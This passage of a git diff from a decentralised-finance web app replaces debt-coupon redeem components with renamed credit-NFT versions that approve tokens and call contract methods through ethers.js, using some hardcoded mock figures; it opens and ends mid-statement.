= 12000; - const coupons: Coupons = { - uDEBT: [ - { amount: 1000, expiration: 1640390400000, swap: { amount: 800, unit: "uAR" } }, - { amount: 500, expiration: 1639526400000, swap: { amount: 125, unit: "uAR" } }, - { amount: 666, expiration: 1636934400000, swap: { amount: 166.5, unit: "UBQ" } }, - ], - uBOND: 1000, - uAR: 3430, - }; - - return ( -
    -

    Debt Coupon

    - {balances && ( - - )} -
    - ); -}; - -type DebtCouponProps = { - twapPrice: BigNumber | null; - balances: Balances; - actions: Actions; - cycleStartDate: number; - uarDeprecationRate: number; - uarCurrentRewardPct: number; - udebtDeprecationRate: number; - udebtCurrentRewardPct: number; - udebtExpirationTime: number; - udebtUbqRedemptionRate: number; - uadTotalSupply: number; - ubondTotalSupply: number; - uarTotalSupply: number; - udebtTotalSupply: number; - coupons: Coupons | null; - priceIncreaseFormula: (amount: number) => Promise; -}; - -const DebtCoupon = memo( - ({ - twapPrice, - actions, - cycleStartDate, - uarDeprecationRate, - uarCurrentRewardPct, - udebtDeprecationRate, - udebtCurrentRewardPct, - udebtExpirationTime, - udebtUbqRedemptionRate, - uadTotalSupply, - ubondTotalSupply, - uarTotalSupply, - udebtTotalSupply, - coupons, - priceIncreaseFormula, - }: DebtCouponProps) => { - const [formattedSwapPrice, setFormattedSwapPrice] = useState(""); - const [selectedCurrency, selectCurrency] = useState(uDEBT); - const [increasedValue, setIncreasedValue] = useState(0); - const [errMsg, setErrMsg] = useState(); - // eslint-disable-next-line @typescript-eslint/no-unused-vars - const [expectedCoupon, setExpectedCoupon] = useState(); - const [uadAmount, setUadAmount] = useState(""); - - const handleTabSelect = (tab: string) => { - selectCurrency(tab); - }; - - useEffect(() => { - if (twapPrice) { - setFormattedSwapPrice(parseFloat(ethers.utils.formatEther(twapPrice)).toFixed(2)); - // setFormattedSwapPrice("1.06"); - } - }, [twapPrice]); - - const calculatedCycleStartDate = useMemo(() => { - if (cycleStartDate) { - const diff = Date.now() - cycleStartDate; - return formatTimeDiff(diff); - } - }, [cycleStartDate]); - - const calculatedUdebtExpirationTime = useMemo(() => { - if (udebtExpirationTime) { - const diff = udebtExpirationTime - Date.now(); - return formatTimeDiff(diff); - } - }, [udebtExpirationTime]); - - const handleInputUAD = async (e: ChangeEvent) => { - setErrMsg(""); - const missing = `Missing input value for`; - const bignumberErr = `can't parse BigNumber from`; - - const subject = `uAD amount`; - const amountEl = e.target as HTMLInputElement; - const amountValue = amountEl?.value; - if (!amountValue) { - setErrMsg(`${missing} ${subject}`); - return; - } - if (BigNumber.isBigNumber(amountValue)) { - setErrMsg(`${bignumberErr} ${subject}`); - return; - } - const amount = ethers.utils.parseEther(amountValue); - if (!amount.gt(BigNumber.from(0))) { - setErrMsg(`${subject} should be greater than 0`); - return; - } - setUadAmount(amountValue); - }; - - const handleBurn = () => { - actions.onBurn(uadAmount, setErrMsg); - }; - - const isLessThanOne = () => parseFloat(formattedSwapPrice) <= 1; - - useEffect(() => { - if (uadAmount) { - // _expectedCoupon(uadAmount, contracts, selectedCurrency, setExpectedCoupon); - } - }, [uadAmount, selectedCurrency]); - - useEffect(() => { - priceIncreaseFormula(10).then((value) => { - setIncreasedValue(value); - }); - }); - - return ( - <> - - {isLessThanOne() ? ( - <> - - - - ) : ( - - )} - - ); - } -); - -type CouponsProps = { - uadTotalSupply: number; - ubondTotalSupply: number; - uarTotalSupply: number; - udebtTotalSupply: number; - coupons: Coupons | null; - actions: Actions; -}; - -export const Coupons = ({ uadTotalSupply, ubondTotalSupply, uarTotalSupply, udebtTotalSupply, coupons, actions }: CouponsProps) => { - return ( - <> - -
    - Your Coupons -
    - - - - ); -}; - -type CouponRedeemProps = { - coupons: Coupons | null; - actions: Actions; -}; - -export const CouponRedeem = ({ coupons, actions }: CouponRedeemProps) => { - const [uarAmount, setUarAmount] = useState(""); - const [ubondAmount, setUbondAmount] = useState(""); - const shouldDisableInput = (type: string) => { - if (!coupons) { - return true; - } else if (type === "uar") { - return !coupons.uAR || coupons.uAR <= 0; - } else if (type === "ubond") { - return !coupons.uBOND || coupons.uBOND <= 0; - } - return false; - }; - - const handleInputUAR = async (e: ChangeEvent) => { - if (!coupons || !coupons.uAR) { - return; - } - const amountEl = e.target as HTMLInputElement; - const amountValue = amountEl?.value; - setUarAmount(`${constrainNumber(parseFloat(amountValue), 0, coupons.uAR)}`); - }; - - const handleInputUBOND = async (e: ChangeEvent) => { - if (!coupons || !coupons.uBOND) { - return; - } - const amountEl = e.target as HTMLInputElement; - const amountValue = amountEl?.value; - setUbondAmount(`${constrainNumber(parseFloat(amountValue), 0, coupons.uBOND)}`); - }; - - const uarToUdebtFormula = (amount: string) => { - const parsedValue = parseFloat(amount); - return isNaN(parsedValue) ? 0 : parsedValue * 0.9; - }; - - return ( - <> -
    -
    -
    -
    - uBOND {coupons?.uBOND.toLocaleString()} -
    -
    - - -
    -
    -
    -
    -
    -
    - uAR {coupons?.uAR.toLocaleString()} - $2,120 -
    -
    - - -
    -
    -
    -
    -
    -
    - Deprecation rate 10% / week -
    -
    - {uarToUdebtFormula(uarAmount).toLocaleString()} uDEBT - -
    -
    -
    -
    - - ); -}; - -type RewardCycleInfoProps = { - uadTotalSupply: number; - ubondTotalSupply: number; - uarTotalSupply: number; - udebtTotalSupply: number; -}; - -export const RewardCycleInfo = ({ uadTotalSupply, ubondTotalSupply, uarTotalSupply, udebtTotalSupply }: RewardCycleInfoProps) => { - return ( - <> -
    - Reward Cycle -
    -
    -
    -
    - uAD -
    -
    -
    Total Supply
    -
    {uadTotalSupply.toLocaleString()}
    -
    -
    -
    Minted
    -
    25k
    -
    -
    -
    Mintable
    -
    12k
    -
    -
    -
    -
    -
    -
    - Total debt -
    -
    -
    -
    uBOND
    -
    {ubondTotalSupply.toLocaleString()}
    -
    -
    -
    uAR
    -
    {uarTotalSupply.toLocaleString()}
    -
    -
    -
    uDEBT
    -
    {udebtTotalSupply.toLocaleString()}
    -
    -
    -
    -
    -
    -
    -
    - Redeemable -
    -
    -
    10,000
    -
    27,000
    -
    0
    -
    -
    -
    - - ); -}; - -type UadBurningProps = { - selectedCurrency: string; - errMsg: string | undefined; - expectedCoupon: BigNumber | undefined; - increasedValue: number; - handleInputUAD: (e: ChangeEvent) => Promise; - handleTabSelect: (tab: string) => void; - handleBurn: () => void; -}; - -export const UadBurning = ({ handleInputUAD, selectedCurrency, handleTabSelect, handleBurn, increasedValue, expectedCoupon, errMsg }: UadBurningProps) => { - return ( - <> -
    - uAD - - - -
    -

    {errMsg}

    - {expectedCoupon && ( -

    - expected {selectedCurrency} {ethers.utils.formatEther(expectedCoupon)} -

    - )} -
    - Price will increase by an estimated of +${increasedValue} -
    - - ); -}; - -type PumpCycleProps = { - uarDeprecationRate: number; - uarCurrentRewardPct: number; - udebtDeprecationRate: number; - udebtCurrentRewardPct: number; - udebtUbqRedemptionRate: number; - calculatedUdebtExpirationTime: string | undefined; -}; - -export const PumpCycle = ({ - uarDeprecationRate, - uarCurrentRewardPct, - udebtDeprecationRate, - udebtCurrentRewardPct, - udebtUbqRedemptionRate, - calculatedUdebtExpirationTime, -}: PumpCycleProps) => { - return ( - <> -
    - Pump Cycle -
    -
    -
    - Fungible (uAR) - - - - - - - - - - - - - - - -
    Deprecation rate{uarDeprecationRate * 100}% / week
    Current reward %{uarCurrentRewardPct * 100}%
    Expires?No
    -
    - Higher priority when redeeming -
    - Learn more -
    -
    - Non-fungible (uDEBT) - - - - - - - - - - - - - - - -
    Deprecation rate{udebtDeprecationRate * 100}%
    Current reward %{udebtCurrentRewardPct * 100}%
    Expires?After {calculatedUdebtExpirationTime}
    -
    - Convertible to fungible -
    -
    - Can be redeemed for UBQ at {udebtUbqRedemptionRate * 100}% rate -
    - Learn more -
    -
    - - ); -}; - -type TwapPriceBarProps = { - price: string; - date: string | undefined; -}; - -export const TwapPriceBar = ({ price, date }: TwapPriceBarProps) => { - const leftPositioned = parseFloat(price) <= 1; - - return ( - <> -
    -
    -
    -
    -
    {leftPositioned ? ${price} : Redeeming cycle started {date} ago}
    - {leftPositioned ? ( - <> -
    - - - -
    -
    - - ) : ( - <> -
    -
    - - - -
    - - )} -
    {leftPositioned ? Pump cycle started {date} ago : ${price}}
    -
    -
    -
    -
    -
    -
    - $0.9 -
    -
    - $1 -
    -
    - $1.1 -
    -
    -
    - - {parseFloat(price) <= 1 ? "Burn uAD for debt coupons and help pump the price back up" : "Time to redeem debts coupons and help move the price down"} - -
    - - ); -}; - -type CouponTableProps = { - coupons: Coupons | null; - onRedeem: Actions["onRedeem"]; - onSwap: Actions["onSwap"]; -}; - -export const CouponTable = ({ coupons, onRedeem, onSwap }: CouponTableProps) => { - return ( -
    - - - - - - - - - - - {coupons && coupons.uDEBT && coupons.uDEBT.length - ? coupons.uDEBT.map((coupon, index) => ) - : null} - -
    uDEBTExpirationSwap
    -
    - ); -}; - -type CouponRowProps = { - coupon: Coupon; - onRedeem: Actions["onRedeem"]; - onSwap: Actions["onSwap"]; -}; - -export const CouponRow = ({ coupon, onRedeem, onSwap }: CouponRowProps) => { - const timeDiff = coupon.expiration - Date.now(); - - const handleSwap = () => { - onSwap(coupon.swap.amount, coupon.swap.unit); - }; - - return ( - - {coupon.amount.toLocaleString()} - - {formatTimeDiff(Math.abs(timeDiff))} - {timeDiff < 0 ? " ago" : ""} - - - - - {timeDiff > 0 ? : null} - - ); -}; - -export default withLoadedContext(DebtCouponContainer); diff --git a/packages/dapp/components/redeem/DebtCouponDeposit.tsx b/packages/dapp/components/redeem/DebtCouponDeposit.tsx deleted file mode 100644 index 15250408d..000000000 --- a/packages/dapp/components/redeem/DebtCouponDeposit.tsx +++ /dev/null @@ -1,79 +0,0 @@ -import { BigNumber, Contract } from "ethers"; -import { useState } from "react"; - -import { ensureERC20Allowance } from "@/lib/contracts-shortcuts"; -import { formatEther } from "@/lib/format"; -import { safeParseEther } from "@/lib/utils"; -import useDeployedContracts from "../lib/hooks/contracts/useDeployedContracts"; -import useManagerManaged from "../lib/hooks/contracts/useManagerManaged"; -import useBalances from "../lib/hooks/useBalances"; -import useSigner from "../lib/hooks/useSigner"; -import useTransactionLogger from "../lib/hooks/useTransactionLogger"; -import useWalletAddress from "../lib/hooks/useWalletAddress"; -import Button from "../ui/Button"; -import PositiveNumberInput from "../ui/PositiveNumberInput"; - -const UcrNftGenerator = () => { - const [walletAddress] = useWalletAddress(); - const signer = useSigner(); - const [balances, refreshBalances] = useBalances(); - const [, doTransaction, doingTransaction] = useTransactionLogger(); - const deployedContracts = useDeployedContracts(); - const managedContracts = useManagerManaged(); - - const [inputVal, setInputVal] = useState(""); - const [expectedDebtCoupon, setExpectedDebtCoupon] = useState(null); - - if (!walletAddress || !signer) { - return Connect wallet; - } - - if (!balances || !managedContracts || !deployedContracts) { - return · · ·; - } - - const depositDollarForDebtCoupons = async (amount: BigNumber) => { - const { debtCouponManager } = deployedContracts; - await ensureERC20Allowance("uAD -> DebtCouponManager", managedContracts.dollarToken as unknown as Contract, amount, signer, debtCouponManager.address); - await (await debtCouponManager.connect(signer).exchangeDollarsForDebtCoupons(amount)).wait(); - refreshBalances(); - }; - - const handleBurn = async () => { - const amount = extractValidAmount(); - if (amount) { - doTransaction("Burning uAD...", async () => { - setInputVal(""); - await depositDollarForDebtCoupons(amount); - }); - } - }; - - const handleInput = async (val: string) => { - setInputVal(val); - const amount = extractValidAmount(val); - if (amount) { - setExpectedDebtCoupon(null); - setExpectedDebtCoupon(await managedContracts.creditNftCalculator.connect(signer).getCouponAmount(amount)); - } - }; - - const extractValidAmount = (val: string = inputVal): null | BigNumber => { - const amount = safeParseEther(val); - return amount && amount.gt(BigNumber.from(0)) && amount.lte(balances.uad) ? amount : null; - }; - - const submitEnabled = !!(extractValidAmount() && !doingTransaction); - - return ( -
    - - - {expectedDebtCoupon && inputVal &&

    expected uCR-NFT {formatEther(expectedDebtCoupon)}

    } -
    - ); -}; - -export default UcrNftGenerator; diff --git a/packages/dapp/components/redeem/MigrateButton.tsx b/packages/dapp/components/redeem/MigrateButton.tsx deleted file mode 100644 index b5a1253a3..000000000 --- a/packages/dapp/components/redeem/MigrateButton.tsx +++ /dev/null @@ -1,72 +0,0 @@ -import { BigNumber } from "ethers"; -import { useState } from "react"; -import useManagerManaged from "../lib/hooks/contracts/useManagerManaged"; -import useBalances from "../lib/hooks/useBalances"; -import useEffectAsync from "../lib/hooks/useEffectAsync"; -import useSigner from "../lib/hooks/useSigner"; -import useWalletAddress from "../lib/hooks/useWalletAddress"; - -const BondingMigrate = () => { - const [walletAddress] = useWalletAddress(); - const signer = useSigner(); - const managedContracts = useManagerManaged(); - const [, refreshBalances] = useBalances(); - - const [errMsg, setErrMsg] = useState(); - const [isLoading, setIsLoading] = useState(); - const [migrateId, setMigrateId] = useState(); - - useEffectAsync(async () => { - if (walletAddress && signer && managedContracts) { - managedContracts.staking.connect(signer); - setMigrateId(await managedContracts.staking.toMigrateId(walletAddress)); - } - }, [walletAddress, signer]); - - if (!walletAddress || !migrateId || migrateId.eq(0)) { - return null; - } - - const handleMigration = async () => { - if (managedContracts && migrateId) { - setErrMsg(""); - setIsLoading(true); - (async () => { - managedContracts.staking; - - console.log("migrateID", migrateId); - - if (migrateId.gt(BigNumber.from(0))) { - const migrateWaiting = await managedContracts.staking.migrate(); - await migrateWaiting.wait(); - refreshBalances(); - setMigrateId(undefined); - } else { - setErrMsg(`account not registered for migration`); - } - setIsLoading(false); - })(); - } - }; - - return ( - <> -
    -
    - - {isLoading && ( -
    -
    -
    -
    -
    -
    - )} - {errMsg ?

    {errMsg}

    : null} -
    -
    - - ); -}; - -export default BondingMigrate; diff --git a/packages/dapp/components/redeem/UcrNftRedeem.tsx b/packages/dapp/components/redeem/UcrNftRedeem.tsx deleted file mode 100644 index fbf63a813..000000000 --- a/packages/dapp/components/redeem/UcrNftRedeem.tsx +++ /dev/null @@ -1,106 +0,0 @@ -import { BigNumber, ethers, Contract } from "ethers"; -import { useEffect, useState } from "react"; - -import { ensureERC1155Allowance } from "@/lib/contracts-shortcuts"; -import { formatEther } from "@/lib/format"; -import { safeParseEther } from "@/lib/utils"; -import useDeployedContracts from "../lib/hooks/contracts/useDeployedContracts"; -import useManagerManaged from "../lib/hooks/contracts/useManagerManaged"; -import useBalances from "../lib/hooks/useBalances"; -import useSigner from "../lib/hooks/useSigner"; -import useTransactionLogger from "../lib/hooks/useTransactionLogger"; -import useWalletAddress from "../lib/hooks/useWalletAddress"; -import Button from "../ui/Button"; -import PositiveNumberInput from "../ui/PositiveNumberInput"; - -const UcrNftRedeem = () => { - const [walletAddress] = useWalletAddress(); - const signer = useSigner(); - const [, refreshBalances] = useBalances(); - const [, doTransaction, doingTransaction] = useTransactionLogger(); - const deployedContracts = useDeployedContracts(); - const managedContracts = useManagerManaged(); - - const [inputVal, setInputVal] = useState(""); - const [debtIds, setDebtIds] = useState(null); - const [debtBalances, setDebtBalances] = useState([]); - const [selectedDebtId, setSelectedDebtId] = useState(0); - - const setMax = () => { - if (debtBalances[selectedDebtId]) { - setInputVal(ethers.utils.formatEther(debtBalances[selectedDebtId])); - } - }; - - useEffect(() => { - if (managedContracts && walletAddress) { - fetchDebts(walletAddress, managedContracts.creditNft); - } - }, [managedContracts, walletAddress]); - - if (!walletAddress || !signer) return Connect wallet; - if (!deployedContracts || !managedContracts || !debtIds) return · · ·; - if (debtIds.length === 0) return No uCR-NFT coupons; - - async function fetchDebts(address: string, contract: Contract) { - const ids = await contract.holderTokens(address); - const newBalances = await Promise.all(ids.map(async (id: string) => await contract.balanceOf(address, id))); - setDebtIds(ids); - setSelectedDebtId(0); - setDebtBalances(newBalances); - } - - const extractValidAmount = (val: string = inputVal): null | BigNumber => { - const amount = safeParseEther(val); - const selectedCouponBalance = debtBalances[selectedDebtId]; - return amount && amount.gt(BigNumber.from(0)) && amount.lte(selectedCouponBalance) ? amount : null; - }; - - const handleRedeem = async () => { - const amount = extractValidAmount(inputVal); - if (amount) { - doTransaction("Redeeming uCR-NFT...", async () => { - setInputVal(""); - await redeemUcrNftForUad(amount); - }); - } - }; - - const redeemUcrNftForUad = async (amount: BigNumber) => { - const { debtCouponManager } = deployedContracts; - const debtId = debtIds[selectedDebtId]; - if ( - debtId && - (await ensureERC1155Allowance("uCR-NFT -> DebtCouponManager", managedContracts.creditNft as unknown as Contract, signer, debtCouponManager.address)) - ) { - await (await debtCouponManager.connect(signer).redeemCoupons(debtId, amount)).wait(); - refreshBalances(); - fetchDebts(walletAddress, managedContracts.creditNft); - } - }; - - const submitEnabled = !!(extractValidAmount() && !doingTransaction); - - return ( -
    -
    - -
    - -
    setMax()}>MAX
    -
    -
    - -
    - ); -}; - -export default UcrNftRedeem; diff --git a/packages/dapp/components/redeem/UcrRedeem.tsx b/packages/dapp/components/redeem/UcrRedeem.tsx deleted file mode 100644 index a2dc6fcfd..000000000 --- a/packages/dapp/components/redeem/UcrRedeem.tsx +++ /dev/null @@ -1,67 +0,0 @@ -import { BigNumber, Contract } from "ethers"; -import { useState } from "react"; - -import { ensureERC20Allowance } from "@/lib/contracts-shortcuts"; -import { safeParseEther } from "@/lib/utils"; -import useDeployedContracts from "../lib/hooks/contracts/useDeployedContracts"; -import useManagerManaged from "../lib/hooks/contracts/useManagerManaged"; -import useBalances from "../lib/hooks/useBalances"; -import useSigner from "../lib/hooks/useSigner"; -import useTransactionLogger from "../lib/hooks/useTransactionLogger"; -import useWalletAddress from "../lib/hooks/useWalletAddress"; -import Button from "../ui/Button"; -import PositiveNumberInput from "../ui/PositiveNumberInput"; - -const UcrRedeem = () => { - const [walletAddress] = useWalletAddress(); - const signer = useSigner(); - const [balances, refreshBalances] = useBalances(); - const [, doTransaction, doingTransaction] = useTransactionLogger(); - const deployedContracts = useDeployedContracts(); - const managedContracts = useManagerManaged(); - - const [inputVal, setInputVal] = useState(""); - - if (!walletAddress || !signer) { - return Connect wallet; - } - - if (!managedContracts || !deployedContracts || !balances) { - return · · ·; - } - - const redeemUcrForUad = async (amount: BigNumber) => { - const { debtCouponManager } = deployedContracts; - await ensureERC20Allowance("uCR -> DebtCouponManager", managedContracts.creditToken as unknown as Contract, amount, signer, debtCouponManager.address); - await (await debtCouponManager.connect(signer).burnAutoRedeemTokensForDollars(amount)).wait(); - refreshBalances(); - }; - - const handleRedeem = () => { - const amount = extractValidAmount(); - if (amount) { - doTransaction("Redeeming uCR...", async () => { - setInputVal(""); - await redeemUcrForUad(amount); - }); - } - }; - - const extractValidAmount = (val: string = inputVal): null | BigNumber => { - const amount = safeParseEther(val); - return amount && amount.gt(BigNumber.from(0)) && amount.lte(balances.ucr) ? amount : null; - }; - - const submitEnabled = !!(extractValidAmount() && !doingTransaction); - - return ( -
    - - -
    - ); -}; - -export default UcrRedeem; diff --git a/packages/dapp/components/redeem/credit-nft-deposit.tsx b/packages/dapp/components/redeem/credit-nft-deposit.tsx new file mode 100644 index 000000000..9ac2d249b --- /dev/null +++ b/packages/dapp/components/redeem/credit-nft-deposit.tsx @@ -0,0 +1,84 @@ +import { BigNumber } from "ethers"; +import { useState } from "react"; + +import { ensureERC20Allowance } from "@/lib/contracts-shortcuts"; +import { formatEther } from "@/lib/format"; +import { safeParseEther } from "@/lib/utils"; +import useProtocolContracts from "@/components/lib/hooks/contracts/use-protocol-contracts"; +import useBalances from "../lib/hooks/use-balances"; +import useSigner from "../lib/hooks/use-signer"; +import useTransactionLogger from "../lib/hooks/use-transaction-logger"; +import useWalletAddress from "../lib/hooks/use-wallet-address"; +import Button from "../ui/button"; +import PositiveNumberInput from "../ui/positive-number-input"; + +const CreditNftGenerator = () => { + const [walletAddress] = useWalletAddress(); + const signer = useSigner(); + const [balances, refreshBalances] = useBalances(); + const [, doTransaction, doingTransaction] = useTransactionLogger(); + const protocolContracts = useProtocolContracts(); + + const [inputVal, setInputVal] = useState(""); + const [expectedCreditNft, setExpectedCreditNft] = useState(null); + + if (!walletAddress || !signer) { + return Connect wallet; + } + + if (!balances || !protocolContracts) { + return · · ·; + } + + const depositDollarForCreditNfts = async (amount: BigNumber) => { + const contracts = await protocolContracts; + if (contracts.dollarToken && contracts.creditNftManagerFacet) { + // cspell: disable-next-line + await ensureERC20Allowance("CREDIT -> CreditNftManagerFacet", contracts.dollarToken, amount, signer, contracts.creditNftManagerFacet.address); + await (await contracts.creditNftManagerFacet.connect(signer).exchangeDollarsForCreditNft(amount)).wait(); + refreshBalances(); + } + }; + + const handleBurn = async () => { + const amount = extractValidAmount(); + if (amount) { + // cspell: disable-next-line + doTransaction("Burning Dollar...", async () => { + setInputVal(""); + await depositDollarForCreditNfts(amount); + }); + } + }; + + const handleInput = async (val: string) => { + const contracts = await protocolContracts; + setInputVal(val); + const amount = extractValidAmount(val); + if (amount && contracts.creditNftRedemptionCalculatorFacet) { + setExpectedCreditNft(null); + setExpectedCreditNft(await contracts.creditNftRedemptionCalculatorFacet.connect(signer).getCreditNftAmount(amount)); + } + }; + + const extractValidAmount = (val: string = inputVal): null | BigNumber => { + const amount = safeParseEther(val); + return amount && amount.gt(BigNumber.from(0)) && amount.lte(balances.dollar) ? amount : null; + }; + + const submitEnabled = !!(extractValidAmount() && !doingTransaction); + + return ( +
    + {/* cspell: disable-next-line */} + + + {expectedCreditNft && inputVal &&

    expected CREDIT-NFT {formatEther(expectedCreditNft)}

    } +
    + ); +}; + +export default CreditNftGenerator; diff --git a/packages/dapp/components/redeem/credit-nft-redeem.tsx b/packages/dapp/components/redeem/credit-nft-redeem.tsx new file mode 100644 index 000000000..531ad648b --- /dev/null +++ b/packages/dapp/components/redeem/credit-nft-redeem.tsx @@ -0,0 +1,109 @@ +import { BigNumber, ethers, Contract } from "ethers"; +import { useState } from "react"; + +import { ensureERC1155Allowance } from "@/lib/contracts-shortcuts"; +import { formatEther } from "@/lib/format"; +import { safeParseEther } from "@/lib/utils"; +import useProtocolContracts from "@/components/lib/hooks/contracts/use-protocol-contracts"; +import useBalances from "../lib/hooks/use-balances"; +import useSigner from "../lib/hooks/use-signer"; +import useTransactionLogger from "../lib/hooks/use-transaction-logger"; +import useWalletAddress from "../lib/hooks/use-wallet-address"; +import Button from "../ui/button"; +import PositiveNumberInput from "../ui/positive-number-input"; +import useEffectAsync from "../lib/hooks/use-effect-async"; + +const CreditNftRedeem = () => { + const [walletAddress] = useWalletAddress(); + const signer = useSigner(); + const [, refreshBalances] = useBalances(); + const [, doTransaction, doingTransaction] = useTransactionLogger(); + const protocolContracts = useProtocolContracts(); + + const [inputVal, setInputVal] = useState(""); + const [creditIds, setCreditIds] = useState(null); + const [creditBalances, setCreditBalances] = useState([]); + const [selectedCreditId, setSelectedCreditId] = useState(0); + + const setMax = () => { + if (creditBalances[selectedCreditId]) { + setInputVal(ethers.utils.formatEther(creditBalances[selectedCreditId])); + } + }; + + useEffectAsync(async () => { + const contracts = await protocolContracts; + if (contracts.creditNft && walletAddress) { + fetchCredits(walletAddress, contracts.creditNft); + } + }, [walletAddress]); + + if (!walletAddress || !signer) return Connect wallet; + if (!protocolContracts || !creditIds) return · · ·; + if (creditIds.length === 0) return No CREDIT-NFT Nfts; + + async function fetchCredits(address: string, contract: Contract) { + const ids = await contract.holderTokens(address); + const newBalances = await Promise.all(ids.map(async (id: string) => await contract.balanceOf(address, id))); + setCreditIds(ids); + setSelectedCreditId(0); + setCreditBalances(newBalances); + } + + const extractValidAmount = (val: string = inputVal): null | BigNumber => { + const amount = safeParseEther(val); + const selectedNftBalance = creditBalances[selectedCreditId]; + return amount && amount.gt(BigNumber.from(0)) && amount.lte(selectedNftBalance) ? amount : null; + }; + + const handleRedeem = async () => { + const amount = extractValidAmount(inputVal); + if (amount) { + doTransaction("Redeeming CREDIT-NFT...", async () => { + setInputVal(""); + await redeemCreditNftForDollar(amount); + }); + } + }; + + const redeemCreditNftForDollar = async (amount: BigNumber) => { + const contracts = await protocolContracts; + const creditId = creditIds[selectedCreditId]; + if (contracts.creditNft && contracts.creditNftManagerFacet) { + if ( + creditId && + (await ensureERC1155Allowance("CREDIT-NFT -> CreditNftManagerFacet", contracts.creditNft, signer, contracts.creditNftManagerFacet.address)) + ) { + await (await contracts.creditNftManagerFacet.connect(signer).redeemCreditNft(creditId, amount)).wait(); + refreshBalances(); + fetchCredits(walletAddress, contracts.creditNft); + } + } + }; + + const submitEnabled = !!(extractValidAmount() && !doingTransaction); + + return ( +
    +
    + +
    + +
    setMax()}>MAX
    +
    +
    + +
    + ); +}; + +export default CreditNftRedeem; diff --git a/packages/dapp/components/redeem/credit-nft.tsx b/packages/dapp/components/redeem/credit-nft.tsx new file mode 100644 index 000000000..e6b6d8dac --- /dev/null +++ b/packages/dapp/components/redeem/credit-nft.tsx @@ -0,0 +1,711 @@ +import { constrainNumber, formatTimeDiff } from "@/lib/utils"; +import withLoadedContext, { LoadedContext } from "@/lib/with-loaded-context"; +import { BigNumber, ethers } from "ethers"; +import { ChangeEvent, Dispatch, memo, SetStateAction, useEffect, useMemo, useState } from "react"; +import useBalances from "../lib/hooks/use-balances"; +import useTransactionLogger from "../lib/hooks/use-transaction-logger"; +import usePrices from "./lib/use-prices"; +import { Balances } from "../lib/types"; + +type Actions = { + onRedeem: () => void; + onSwap: (amount: number, unit: string) => void; + onBurn: (dollarAmount: string, setErrMsg: Dispatch>) => void; +}; + +type CreditNft = { + amount: number; + expiration: number; + swap: { amount: number; unit: string }; +}; + +type CreditNfts = { + // cspell: disable-next-line + creditNft: CreditNft[]; + // cspell: disable-next-line + stakingShare: number; + // cspell: disable-next-line + creditNftAmount: number; +}; + +// cspell: disable-next-line +const CREDITNFT = "CREDITNFT"; +// cspell: disable-next-line +const CREDIT = "CREDIT"; + +// eslint-disable-next-line @typescript-eslint/no-unused-vars +export const CreditNftContainer = ({ protocolContracts, web3Provider, walletAddress, signer }: LoadedContext) => { + // eslint-disable-next-line @typescript-eslint/no-unused-vars + const [balances, refreshBalances] = useBalances(); + const [, doTransaction] = useTransactionLogger(); + // eslint-disable-next-line @typescript-eslint/no-unused-vars + const [twapPrice, spotPrice] = usePrices(); + + const actions: Actions = { + onRedeem: () => { + console.log("onRedeem"); + }, + onSwap: () => { + console.log("onSwap"); + }, + onBurn: async (dollarAmount, setErrMsg) => { + setErrMsg(""); + // cspell: disable-next-line + await doTransaction("Burning DOLLAR...", async () => {}); + }, + }; + + const priceIncreaseFormula = async (amount: number) => { + const formula = 0.001; + return amount * formula; + }; + + const cycleStartDate = 1637625600000; + const creditDeprecationRate = 0.0001; + const creditCurrentRewardPct = 0.05; + const creditNftDeprecationRate = 0.0015; + const creditNftCurrentRewardPct = 0.05; + const creditNftExpirationTime = 1640217600000; + const creditNftGovernanceRedemptionRate = 0.25; + const dollarTotalSupply = 233000; + const stakingShareTotalSupply = 10000; + const creditTotalSupply = 30000; + const creditNftTotalSupply = 12000; + const creditNfts: CreditNfts = { + // cspell: disable-next-line + creditNft: [ + // cspell: disable-next-line + { amount: 1000, expiration: 1640390400000, swap: { amount: 800, unit: "CREDIT" } }, + // cspell: disable-next-line + { amount: 500, expiration: 1639526400000, swap: { amount: 125, unit: "CREDIT" } }, + // cspell: disable-next-line + { amount: 666, expiration: 1636934400000, swap: { amount: 166.5, unit: "GOVERNANCE" } }, + ], + // cspell: disable-next-line + stakingShare: 1000, + // cspell: disable-next-line + creditNftAmount: 3430, + }; + + return ( +
    +

    Credit Nft

    + {balances && ( + + )} +
    + ); +}; + +type CreditNftProps = { + twapPrice: BigNumber | null; + balances: Balances; + actions: Actions; + cycleStartDate: number; + creditDeprecationRate: number; + creditCurrentRewardPct: number; + creditNftDeprecationRate: number; + creditNftCurrentRewardPct: number; + creditNftExpirationTime: number; + creditNftGovernanceRedemptionRate: number; + dollarTotalSupply: number; + stakingShareSupply: number; + creditTotalSupply: number; + creditNftTotalSupply: number; + creditNfts: CreditNfts | null; + priceIncreaseFormula: (amount: number) => Promise; +}; + +const CreditNft = memo( + ({ + twapPrice, + actions, + cycleStartDate, + creditDeprecationRate, + creditCurrentRewardPct, + creditNftDeprecationRate, + creditNftCurrentRewardPct, + creditNftExpirationTime, + creditNftGovernanceRedemptionRate, + dollarTotalSupply, + stakingShareSupply, + creditTotalSupply, + creditNftTotalSupply, + creditNfts, + priceIncreaseFormula, + }: CreditNftProps) => { + const [formattedSwapPrice, setFormattedSwapPrice] = useState(""); + // cspell: disable-next-line + const [selectedCurrency, selectCurrency] = useState(CREDITNFT); + const [increasedValue, setIncreasedValue] = useState(0); + const [errMsg, setErrMsg] = useState(); + // eslint-disable-next-line @typescript-eslint/no-unused-vars + const [expectedCreditNft, setExpectedCreditNft] = useState(); + const [dollarAmount, setDollarAmount] = useState(""); + + const handleTabSelect = (tab: string) => { + selectCurrency(tab); + }; + + useEffect(() => { + if (twapPrice) { + setFormattedSwapPrice(parseFloat(ethers.utils.formatEther(twapPrice)).toFixed(2)); + // setFormattedSwapPrice("1.06"); + } + }, [twapPrice]); + + const calculatedCycleStartDate = useMemo(() => { + if (cycleStartDate) { + const diff = Date.now() - cycleStartDate; + return formatTimeDiff(diff); + } + }, [cycleStartDate]); + + const calculatedCreditNftExpirationTime = useMemo(() => { + if (creditNftExpirationTime) { + const diff = creditNftExpirationTime - Date.now(); + return formatTimeDiff(diff); + } + }, [creditNftExpirationTime]); + + const handleInputDOLLAR = async (e: ChangeEvent) => { + setErrMsg(""); + const missing = `Missing input value for`; + const bignumberErr = `can't parse BigNumber from`; + // cspell: disable-next-line + const subject = `DOLLAR amount`; + const amountEl = e.target as HTMLInputElement; + const amountValue = amountEl?.value; + if (!amountValue) { + setErrMsg(`${missing} ${subject}`); + return; + } + if (BigNumber.isBigNumber(amountValue)) { + setErrMsg(`${bignumberErr} ${subject}`); + return; + } + const amount = 